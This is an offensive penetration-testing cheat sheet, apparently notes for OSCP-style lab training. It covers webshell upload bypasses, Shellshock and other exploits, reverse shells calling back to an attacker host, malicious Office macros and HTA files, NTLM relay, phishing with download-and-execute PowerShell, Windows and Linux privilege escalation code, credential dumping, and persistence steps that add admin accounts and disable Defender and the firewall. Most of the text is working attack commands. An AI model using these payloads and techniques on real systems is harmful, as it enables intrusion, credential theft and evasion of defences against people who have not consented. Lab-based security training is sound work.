Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif
GIF89a;
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Magic bytes
Prepend valid image magic bytes (e.g., GIF89a; for GIF, \xFF\xD8\xFF\xE0 for JPEG) before PHP code to bypass magic byte validation while keeping code executable.
Legacy technique
Only works on PHP < 5.3.4. The null byte (%00) truncates the string, so shell.php\x00.jpg becomes shell.php.
Train on PGPractice-Access
Discovery & exploitation workflow
- Identify upload functionality (forms, API endpoints, profile pictures)
- Test with benign file first - note upload path in response/HTML
- Try extension bypass techniques (
shell.php5,shell.phtml) - If Windows: try dot-trailing technique (
shell.php......) - Check if MIME validation only: use polyglot or fake MIME headers
- Locate uploaded file (common paths:
/uploads/,/files/,/media/,/assets/) - Access shell and verify execution
Shellshock¶
# Detect
curl -A "() { :; }; echo; /bin/bash -c 'whoami'" http://$TARGET/cgi-bin/test.cgi
# Reverse shell via User-Agent
curl -A "() { :; }; /bin/bash -i >& /dev/tcp/$ATTACKER/$PORT 0>&1" \
http://$TARGET/cgi-bin/test.cgi
# nikto detection
nikto -h $TARGET -C all
Specific environment vulnerability¶
Apache / Java
bash 50383.sh $TARGET /etc/passwd
bash 50383.sh $TARGET:8000 /home/$USER/.ssh/id_ecdsa
CMS / Web Frameworks
python 49488.py \
-i 'http://$TARGET:$PORT' \
-u "$EMAIL" -p "$PASS" \
-c 'powershell.exe' \
-a '-e $B64_SHELL'
Login admin:admin -> Files Manager -> Upload PHP webshell
-- POST: view=request&request=log&task=query&limit=100;
(SELECT "<?php system($_GET['cmd']);?>"
INTO OUTFILE "/var/www/html/s.php") --
Web UI > Config > java.env script
Inject reverse shell in the export line:
Mail / Network Services
# https://github.com/FiroSolutions/cve-2020-7247-exploit
echo "root:pwned" | /usr/sbin/chpasswd
Windows-specific
searchsploit -m 49216
python 49216.py
# -> nt authority\system reverse shell
# Detect first (no crash)
nxc smb $TARGET -M smbghost
# Exploit - LPE to SYSTEM (requires local foothold)
# https://www.exploit-db.com/exploits/48267
python 48267.py
# msfvenom payload: windows/shell_reverse_tcp
# alpha_mixed encoder, badchars: '\x00\x1a\x3a...'
# Read any file as SYSTEM
curl "http://$TARGET:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
# Read credential store
curl "http://$TARGET:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FProgramData%2FPY_Software%2FArgus%20Surveillance%20DVR%2FDVRParams.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
# Read SSH private key of a known user
curl "http://$TARGET:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2F$USER%2F.ssh%2Fid_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
# Passwords stored in DVRParams.ini are XOR-encrypted
# Extract Password0/Password1 values from DVRParams.ini, then:
python 50130.py
# Outputs cleartext password char by char
# If last char unknown - append special chars with crunch:
crunch 11 11 '!@#$%^&*()_+-=[]{}|;:,.<>?/~`"' -t DecryptedBase@ -o wordlist.txt
Checklist
- Check web app version - searchsploit / ExploitDB
- POST-only endpoints - try
curl -X POSTwhen browser form returns "Cannot GET" - SQLi detection (login forms, search fields, GET params)
- MSSQL -
xp_cmdshellenable - RCE - File upload bypass - Windows dot technique (
shell.php......), extension variants (.pHP,.php5,.phtml), MIME bypass, polyglot files - File upload - ODT macro - Windows reverse shell (LibreOffice server-side)
- LFI/RFI - read
/etc/passwd, SSH keys, config files - Python eval/exec injection - probe with builtin names (
os,sys) - RCE - Default credentials (admin:admin, admin:password)
- Exposed
/install.php- reinstall - RCE - OpenSMTPD (port 25) - CVE-2020-7247 unauthenticated RCE
- Sendmail 8.13.4 (port 25) - CVE-2007-4560 - bind shell on 31337
- SmarterMail - EDB-49216 - SYSTEM shell via .NET remote interface (port 17001)
- SMBGhost CVE-2020-0796 -
nxc smb -M smbghost- LPE to SYSTEM (EDB-48267) - Argus Surveillance DVR 4 - CVE-2018-15745 path traversal - read files / SSH keys
- Argus DVR - decrypt
DVRParams.inipasswords with EDB-50130 - ZooKeeper Exhibitor UI (port 8080) - java.env injection - RCE
- ZoneMinder - stacked SQLi -
INTO OUTFILEwebshell - H2 Database web console (unauthenticated) - JNI RCE - mshta payload
- Internal services via SSH port forward - check for query-string command injection
Client-Side Attacks¶
HTA (HTML Application)¶
sudo msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER LPORT=$PORT \
-f hta-psh -o evil.hta
# HTA-Shell: https://github.com/S1ckB0y1337/HTA-Shell
# Start server -> delivers mshta reverse shell
HTA execution
mshta http://$ATTACKER:8000/evil.hta - works from xp_cmdshell, browser, email attachment
Microsoft Office Macros¶
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
' Split base64-encoded PowerShell reverse shell into chunks
Str = "powershell.exe -nop -w hidden -enc $B64_SHELL"
CreateObject("Wscript.Shell").Run Str
End Sub
Save as .doc or .docm
.docx cannot store macros. Always save as .doc or .docm.
python evil_macro.py -l $ATTACKER -p $PORT -o macro.txt
# https://github.com/rodolfomarianocy/Evil-Macro/
Malicious PDF (NTLM Capture)¶
python3 malicious-pdf.py $ATTACKER
# https://github.com/jonaslejon/malicious-pdf
# Open PDF → Windows connects back → Responder captures NTLMv2
Checklist - Client-Side
- Office macro -
.doc/.docm-AutoOpen→ PowerShell reverse shell - HTA file -
mshtapayload - deliver via phishing or xp_cmdshell - Malicious PDF - SMB auth coercion - NTLMv2 capture with Responder
- ODT macro for LibreOffice targets -
MMG-LO
Malicious ODT document¶
NTLMv2 Capture & Relay¶
# From Windows host
net use \\$ATTACKER
# Via MSSQL xp_dirtree
EXEC master..xp_dirtree '\\$ATTACKER\share';
# Generate LNK file
ntlm_theft.py -g lnk -s $ATTACKER -f Services
# Drop it into a share via nxc
nxc smb $TARGET -u "$USER" -p "$PASS" \
-M slinky -o NAME="Apps" SERVER="$ATTACKER"
sudo ntlmrelayx.py -smb2support -t smb://$TARGET -i
# Connect to port 11000 for interactive SMB shell
nc 127.0.0.1 11000
Always start Responder first
Launch Responder before interacting with any Windows host - passive capture costs nothing.
Checklist
- Start Responder before any Windows interaction
- Check SMB signing - if disabled, try NTLMRelay
-
xp_dirtreevia MSSQL - NTLMv2 capture - Drop LNK files in SMB shares (slinky / ntlm_theft)
- Crack captured NTLMv2 with hashcat (
-m 5600)
Phishing (Internal)¶
sudo docker run --rm -it -p 80:8080 \
-v $(pwd):/var/wsgidav-root \
mar10/wsgidav
# Shortcut calls PowerCat over HTTP
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://$ATTACKER/powercat.ps1'); powercat -c $ATTACKER -p 4444 -e powershell"
sendEmail \
-t $TARGET@$DOMAIN \
-f $SENDER@$DOMAIN \
-s $MAIL_SERVER:25 \
-u "Important problems" \
-a ./config.Library-ms \
-m ./body.txt \
-xu $SMTP_USER -xp "$SMTP_PASS" -v
Checklist
- Enumerate SMTP users / valid addresses
- Craft
.Library-ms- WebDAV - shortcut - reverse shell - Host PowerCat + WebDAV server
- Send phishing email with authenticated SMTP
Post-Exploitation¶
Credential Hunting¶
type C:\Users\$USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
(Get-PSReadlineOption).HistorySavePath
Get-ChildItem -Path 'C:\' -Filter '*transcript*.txt' -Recurse -ErrorAction SilentlyContinue
nxc smb $IP -u "$USER" -p "$PASSWORD" -M powershell_history
# Credentials may appear in process args (e.g. --password, -p, /password)
Get-WmiObject Win32_Process | Select-Object Name,CommandLine | Format-List
# or with wmic:
wmic process get Name,CommandLine /format:list
cmdkey /list # Saved creds → runas /user:$USER /savecred "powershell ..."
# Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
# VNC password
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP community string
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Generic registry password search
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Get-ChildItem -Path C:\ -Include *.txt,*.config,*.xml,*.ini,*.ps1 `
-Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|passwd|pass|secret|cred"
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.zip,*.ini,*.pdf,*.db,*.xls*,*.doc* `
-File -Recurse -ErrorAction SilentlyContinue
type C:\inetpub\wwwroot\web.config
findstr /s /i /n "password" C:\inetpub\*.*
type C:\xampp\htdocs\*\*.php | findstr -i "password\|DB_"
find / -name "*.conf" -o -name "*.config" 2>/dev/null \
| xargs grep -l "password" 2>/dev/null
find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null
find / -name "*.kdbx" 2>/dev/null
find / -name "doas.conf" 2>/dev/null
# find ant existing Firefox profiles
find / -type d -name "*.default*" 2>/dev/null | grep -i firefox
find /home -name "logins.json" -o -name "key4.db" 2>/dev/null
# default typical locations: ~/.mozilla/firefox/*.default*/
# Download profile directory via FTP/SMB/SCP
scp -r user@target:/home/user/.mozilla/firefox/*.default* ./firefox_profile/
# Option 1: firepwd-ng
git clone https://github.com/lclevy/firepwd
cd firepwd
python firepwd-ng.py -d /path/to/profile.default
# Option 2: firefox_decrypt
git clone https://github.com/unode/firefox_decrypt
cd firefox_decrypt
python firefox_decrypt.py /path/to/profile.default
# If master password is set, it will prompt for it (or try cracking with John)
Double-encoded passwords
Some web apps store passwords base64-encoded twice:
Memory dump for running processes
If a password manager or credential process is running as root:
Checklist
- PowerShell history
- Running process command-line args -
Get-WmiObject Win32_Process/wmic process get CommandLine - PuTTY registry sessions
- Autologon registry keys
- Web config files (
web.config,.env,database.php,configure.php,db.php) - Git history for deleted files (
git log --all,git show $HASH) - Shell history files
- Bash/cron scripts with hardcoded passwords
- KeePass
.kdbxfiles - SSH private keys (
id_rsa,id_ecdsa) - Environment variables
- SMB log files (PowerShell transcripts, app logs)
-
stringson binaries/scripts for hardcoded credentials - Database config files - MySQL root password - reuse as system password
- Running password manager processes -
gcore $PID+strings - Firefox profiles -
firepwd-ng.py/firefox_decrypt.pyfor saved passwords
Windows Privilege Escalation¶
Privilege¶
curl -s -o gp.exe http://$ATTACKER:8000/GodPotato-NET4.exe
# add user for persistence ?
.\gp.exe -cmd "cmd /c whoami"
.\gp.exe -cmd "cmd /c net user pwned P@ssword2026 /add"
.\gp.exe -cmd "cmd /c net localgroup Administrators pwned /add"
.\gp.exe -cmd "cmd /c net localgroup ""Remote Management Users"" pwned /add"
.\gp.exe -cmd "cmd /c net localgroup \""Remote Management Users\"" pwned /add" # if the one above doesn't work --> try this one
# only revshell
.\gp.exe -cmd "C:\temp\nc.exe $ATTACKER 4444 -e cmd.exe"
Lost privileges (Network/Local Service)
When spawned from a web app, service accounts may have lost privilege. Restore it with FullPowers.exe first:
Service Exploitation¶
# Check if both keys are set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Exploit
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=$PORT \
-f msi -o reverse.msi
msiexec /quiet /qn /i C:\temp\reverse.msi
See Credential Dumping
Registry hive extraction (reg save + pypykatz / secretsdump.py LOCAL) is covered in Credential Dumping → Local.
systeminfo # look for missing hotfixes
wmic qfe get Caption,Description,HotFixID,InstalledOn
Import-Module .\Sherlock.ps1; Find-AllVulns # https://github.com/rasta-mouse/Sherlock
# CVE-2024-30088 - SYSTEM via handle hijack
# https://github.com/tykawaii98/CVE-2024-30088
# SigmaPotato - alternative potato
.\SigmaPotato.exe "$COMMAND"
# Bypass execution policy (process scope)
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted
# Add Defender exclusion
Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads' -ExclusionExtension '.exe'
powershell -command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads'"
Checklist - Windows PrivEsc
-
whoami /all- check for SeImpersonatePrivilege (GodPotato) -
whoami /all- check for SeManageVolumePrivilege (SeManageVolumeExploit) - Scheduled tasks running as SYSTEM - binary replacement
- Service binary replacement (writable path) -
Get-ModifiableServiceFile - Unquoted service paths -
Get-UnquotedService - DLL hijacking -
procmonfor missing DLLs - Always Install Elevated - both registry keys = 1 - msi payload
- Registry SAM dump -
reg save+pypykatz - Autologon registry credentials
-
windows.oldSAM/SYSTEM - offline hash dump - XAMPP/Apache service writing to htdocs
- Backup Operators group - machine account password reset - DCSync
- Network/Local Service with lost privileges -
FullPowers.exe- restore SeImpersonate - GodPotato - Scheduled task privilege recovery (manual FullPowers alternative)
- Kernel exploits -
Sherlock.ps1,systeminfohotfix check - Token kidnapping (old systems - churrasco)
- PowerUp
Invoke-AllChecks- automated enumeration
Linux Privilege Escalation¶
Linux PrivEsc Enumeration¶
uname -a; id; cat /etc/passwd; cat /etc/group
ls -la /.dockerenv # docker container check?
env; echo $PATH | tr ":" "\n"
ps -faux
lsmod; aa-status # kernel modules, AppArmor
last; w # connection history, logged-in users
ip a; arp -en; routel
ss -lntp; ss -lnup # open ports
cat /etc/iptables/rules.v4
cat /etc/NetworkManager/system-connections/* | grep -E "^id|^psk"
sudo tcpdump -i lo -A | grep "pass"
find / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null # SUID
find / -perm -g=s -type f 2>/dev/null # SGID
find / -perm -1000 -type d 2>/dev/null # sticky bit
[ -w /etc/passwd ] && echo "VULNERABLE!"
# Find interesting files
find /home/* -iname "*.kdbx,*.txt,*.zip,*.ini,*.pdf,*.db" 2>/dev/null
find /* -name "*.*history*" 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys ~/.ssh/id_rsa ~/.ssh/id_ecdsa ~/.ssh/id_ed25519 2>/dev/null
grep -rnw '/' -ie 'pass' --color=always 2>/dev/null
grep -rnw '/' -ie 'DB_PASS' --color=always 2>/dev/null
grep 'pass*\|key\|secret' /etc/*.conf 2>/dev/null
cat /etc/knockd.conf # port knocking sequence
ls -lah /etc/cron*
crontab -l
cat /etc/crontab
grep "CRON" /var/log/syslog
find /etc/cron* -type f -perm -o+w 2>/dev/null # world-writable cron scripts
sudo / SUID / Capabilities¶
sudo borg extract @:/::: --rsh "/bin/sh -c '/bin/sh </dev/tty >/dev/tty 2>/dev/tty'"
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
# if cap_setuid+ep --> vulnerable
CVE-Based¶
cat /etc/issue; uname -r; arch
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4\." | grep -v "< 4.4.0"
ld.so.preload Abuse (SUID screen 4.5.0)¶
# Step 1 - compile shared library that spawns SUID shell
cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm /tmp/libhax.c
# Step 2 - compile SUID root shell
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
setuid(0); setgid(0); seteuid(0); setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm /tmp/rootshell.c
# Step 3 - trigger via screen -L to write ld.so.preload
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls # trigger library load
/tmp/rootshell
Thanks
Technique from EDB-41154 / https://www.exploit-db.com/exploits/41154
Cron Attacks¶
# /etc/crontab: */1 * * * * root /usr/local/bin/backup-flask.sh
# Script calls 'tar' without full path; PATH includes /home/$USER/restapi
cat > /home/$USER/restapi/tar << 'EOF'
#!/bin/bash
echo "root2:$(openssl passwd $PASS):0:0:root:/root:/bin/bash" >> /etc/passwd
EOF
chmod +x /home/$USER/restapi/tar
# Wait 1 minute -> su root2
Miscellaneous Linux PrivEsc¶
# Find writable service unit files
find /etc/systemd/system /lib/systemd/system -writable -name "*.service" 2>/dev/null
# Edit ExecStart to run a reverse shell as root and change User=root
# Example /etc/systemd/system/pythonapp.service:
# [Service]
# ...
# ExecStart=/home/$USER/pwn.sh
# User=root
cat > /home/$USER/pwn.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$ATTACKER/$PORT 0>&1
EOF
chmod +x /home/$USER/pwn.sh
# Trigger reload - if sudo allows halt/reboot/poweroff:
sudo reboot
# or if daemon-reload + restart is available:
sudo systemctl daemon-reload
sudo systemctl restart $SERVICE
Reboot to trigger
If you can't restart the service directly but have sudo reboot/halt/poweroff, reboot the machine. The service will auto-start as root on next boot. Catch the reverse shell after reconnecting.
Checklist - Linux PrivEsc
-
sudo -l- GTFOBins for every allowed command - SUID binaries - GTFOBins
- SUID screen 4.5.0 -
ld.so.preloadexploit (EDB-41154) - SUID
find-find . -exec /bin/sh -p \; -quit - Capabilities -
getcap -r /-cap_setuid+ep→ GTFOBins - CVE-2021-3156 Baron Samedit (sudo ≤ 1.8.31)
- CVE-2021-4034 PwnKit
- Kernel exploit search -
searchsploit "linux kernel" - Cron jobs - writable scripts - inject; wildcard tar injection
- Cron PATH hijacking - fake binary in writable directory (e.g. fake
tar) -
pspyto monitor running processes / cron - PATH hijacking for sudo/SUID binaries without full paths
- Writable systemd
.servicefiles - changeExecStart/User=root- reboot to trigger -
doas.conf- check for nopasswd entries (FreeBSD) - Writable
/etc/passwd- append root-equivalent user - Cleartext passwords in scripts, configs, env vars
- SSH keys in home directories
- Port knocking (
/etc/knockd.conf) - Running processes handling passwords -
gcore $PID+strings
Credential Dumping¶
Checklist
-
secretsdump.pyremote on every accessible host - Registry hive extraction - offline dump
-
nxc --lsa -
nxc --samfor local hashes - Mimikatz
lsadump::secrets+sekurlsa::logonpasswords - LaZagne for app credentials
Lateral Movement¶
xfreerdp /u:"$USER" /p:"$PASS" /v:$TARGET /cert:ignore \
/dynamic-resolution /kbd:layout:0x0000040c \
/drive:Linux,$(pwd) /scale-desktop:150 +clipboard
Enable RDP remotely
Use nxc smb -x 'reg add ...' or the registry key in Persistence → Windows.
$ip = "$TARGET"
$username = "$USER"
$password = "$PASS"
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
$options = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName $ip -Credential $credential -SessionOption $options
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create `
-Arguments @{CommandLine = 'powershell -e $B64_SHELL'}
Checklist - Lateral Movement
- Try every set of credentials against all discovered services (SMB, WinRM, RDP, SSH)
- Pass-the-Hash with all NTLM hashes
- Pass-the-Ticket if ccache files obtained
- RunasCs if creds for another user but no direct shell
- DCOM MMC20.Application if SMB exec fails
- Enable RDP on high-value targets
Tunneling & Pivoting (Ligolo-ng)¶
Checklist - Pivoting
- Set up Ligolo tunnel as soon as first internal host is compromised
- Route all internal subnets discovered through tunnel
- Use
listener_addto forward reverse shells from deep pivots - Scan internal network from attacker machine through tunnel
- PowerShell port sweep when no tools available
Persistence¶
net user pwned P@ssword2026 /add
net localgroup Administrators pwned /add
net localgroup "Remote Management Users" pwned /add
net localgroup "Remote Desktop Users" pwned /add
# Enable RDP
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" `
/v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable LocalAccountTokenFilterPolicy (allow PTH to local admin)
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" `
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
# Disable Firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# Disable Realtime monitoring (Windefender/Windows Defender)
Set-MpPreference -DisableRealtimeMonitoring $true
Reverse Shells¶
File Transfer¶
# Generate key pair
ssh-keygen -t ed25519 -C "$USER@target"
cp $USER.id_ed25519.pub $USER.id_ed25519.txt
# Upload public key as authorized_keys via REST endpoint
curl -X POST "http://$TARGET:$PORT/file-upload" \
-F "file=@$USER.id_ed25519.txt" \
-F "filename=/home/$USER/.ssh/authorized_keys"
# Connect
ssh -i $USER.id_ed25519 -p $PORT $USER@$TARGET
Tools Reference¶
| Category | Tool | Usage | Link |
|---|---|---|---|
| Network | nmap |
Port scan, service detection | nmap.org |
| Network | ligolo-ng |
Layer-3 tunnel / pivoting | github |
| Web | feroxbuster |
Directory brute-force | github |
| Web | ffuf |
Parameter fuzzing, content discovery | github |
| Web | git_dumper.py |
Dump exposed .git repos |
github |
| Web | exiftool |
Metadata extraction from PDFs/images | exiftool.org |
| Web | whatweb |
CMS / framework fingerprinting | github |
| Web | nikto |
Web vulnerability scanner | github |
| Web | nuclei |
Vulnerability scanner / CVE detection (e.g. SMBGhost) | github |
| Web | wpscan |
WordPress scanner | wpscan.com |
| Web | droopescan |
Drupal/SilverStripe scanner | github |
| Web | gobuster |
Dir/vhost brute-force (API pattern support) | github |
| SMB | nxc / netexec |
SMB/WinRM/RDP/WMI auth, spray, exec | github |
| SMB | smbclientng |
Interactive SMB file browsing | github |
| Proxy | spose.py |
Port scan through Squid/HTTP proxy | github |
| AD | kerbrute |
Username enum + password spray via Kerberos | github |
| AD | bloodhound-ce-python |
AD data collection for BloodHound | github |
| AD | GetUserSPNs.py |
Kerberoasting | impacket |
| AD | GetNPUsers.py |
ASREPRoasting | impacket |
| AD | bloodyAD |
ACL-based AD attacks, force password change | github |
| AD | lookupsid.py |
Domain SID enumeration | impacket |
| AD | pygpoabuse.py |
GPO write - local admin | github |
| AD | dacledit.py |
DACL manipulation | github |
| AD | ticketer.py |
Golden / Silver ticket generation | impacket |
| AD | ntlmrelayx.py |
NTLM relay attacks | impacket |
| AD | ntlm_theft.py |
Craft NTLM theft files (LNK, etc.) | github |
| AD | Invoke-Kerberoast.ps1 |
Windows-side Kerberoasting (no impacket) | PowerSploit |
| AD | PowerView |
AD enumeration - users, ACEs, shares | PowerSploit |
| AD | SharpHound |
BloodHound data collection (Windows) | github |
| AD | rusthound |
BloodHound data collection (Rust) | github |
| AD | Rubeus |
Kerberos attacks from Windows | github |
| Creds | firepwd-ng.py |
Decrypt Firefox saved passwords (Python 3) | github |
| Creds | firefox_decrypt.py |
Decrypt Firefox saved passwords (requires 3.9+) | github |
| Creds | SharpWeb.exe |
Extract Chrome/Edge credentials (Windows) | github |
| Creds | SharpChrome.exe |
Chrome DPAPI credential extraction | github |
| Creds | mimipenguin |
Extract Chrome/Firefox passwords (Linux) | github |
| Creds | firefox2john.py |
Extract Firefox master password hash for John | jumbo john |
| AD | Spray-Passwords.ps1 |
Password spraying from Windows | — |
| AD | BackupOperatorToDA |
Backup Operators privilege escalation | github |
| Creds | secretsdump.py |
Remote/offline hash dump | impacket |
| Creds | mimikatz |
LSASS dump, LSA secrets, kirbi export | github |
| Creds | LaZagne |
Multi-source credential dump | github |
| Creds | Responder |
NTLMv2 capture via LLMNR/NBT-NS | github |
| Creds | kirbi2john.py |
Convert Kerberos .kirbi ticket to crackable hash | john |
| PrivEsc | GodPotato |
SeImpersonate - SYSTEM | github |
| PrivEsc | RunasCs |
Run as another user / UAC bypass | github |
| PrivEsc | FullPowers |
Restore service account token privileges | github |
| PrivEsc | SeManageVolumeExploit |
SeManageVolumePrivilege - SYSTEM file access | github |
| PrivEsc | pspy |
Linux process spy (cron detection) | github |
| PrivEsc | jdwp-shellifier.py |
JDWP RCE | github |
| PrivEsc | PowerUp.ps1 |
Windows PrivEsc automation | PowerSploit |
| PrivEsc | WinPEAS |
Windows PrivEsc enumeration | github |
| PrivEsc | Sherlock.ps1 |
Windows kernel exploit finder | github |
| PrivEsc | SigmaPotato |
SeImpersonate alternative | github |
| PrivEsc | PrintSpoofer |
SeImpersonate SYSTEM (older Windows) | github |
| Cracking | hashcat |
GPU hash cracking | hashcat.net |
| Cracking | john |
CPU hash / key cracking | openwall.com |
| Cracking | ssh2john |
SSH key - crackable hash | john |
| Cracking | zip2john |
ZIP - crackable hash | john |
| Cracking | keepass2john |
KeePass - crackable hash | john |
| Cracking | pdfrip |
Password-protected PDF cracking | github |
| Brute | hydra |
SSH/FTP/HTTP/SMTP/POP3 brute-force | github |
| Brute | smtp-user-enum |
SMTP user enumeration | github |
| Brute | onesixtyone |
SNMP community string brute | github |
| SNMP | snmpwalk |
SNMP walk and enum | — |
| SNMP | snmp-check |
SNMP info dump | github |
| MSSQL | mssqlclient.py |
MSSQL interactive shell | impacket |
| Remote | evil-winrm-py |
WinRM shell (password / PTH) | github |
| Remote | psexec.py |
SMB-based RCE | impacket |
| Remote | xfreerdp |
RDP client | github |
| Phishing | sendEmail |
SMTP email sender | github |
| Phishing | wsgidav (docker) |
WebDAV server | github |
| Payloads | msfvenom |
Payload generation | metasploit |
| Payloads | powercat |
PowerShell netcat | github |
| Payloads | MMG-LO |
ODT macro generator (LibreOffice shell) | github |
| Payloads | HTA-Shell |
mshta-based reverse shell server | github |
| DB | mongosh |
MongoDB shell | mongodb.com |
| DB | psql |
PostgreSQL shell | postgresql.org |
| Wordlist | cewl |
Website-based wordlist generation | github |
| Wordlist | crunch |
Pattern-based wordlist generation | — |
| Enum | enum4linux |
SMB/NFS/Windows enumeration | github |
| Enum | windapsearch |
LDAP enumeration (clean output) | github |
| Enum | ldapsearch |
LDAP raw query | — |
| Enum | dnsrecon |
DNS enumeration | github |
| Enum | dnsenum |
DNS enumeration | github |
| Payload | malicious-pdf.py |
NTLM capture via PDF | github |
| Payload | evil_macro.py |
Word macro generator | — |
| Exploit | 50130.py |
Argus Surveillance DVR 4 - weak password decryption | exploit-db |
| Pivot | plink |
SSH tunnel / port forwarding (Windows) | putty.org |
dontbestuck checklist
- Enumerate everything - TCP, UDP, all ports
- Add all IPs and hostnames to
/etc/hosts - Use multiple tools - don't rely on only one (i.e secretsdump/mimikatz )
- Easy wins - weak passwords, open ftp/shares, misconfigs
- new user? Add to
users.txt- spray everything, both local or domain based auth - new password? Add to
passwords.txt- spray everything, both local or domain based auth - Try
user:user,admin:admin,ftp:ftp,machine_name:machine_name - Hashcat failed? Try John/Crackstation/rules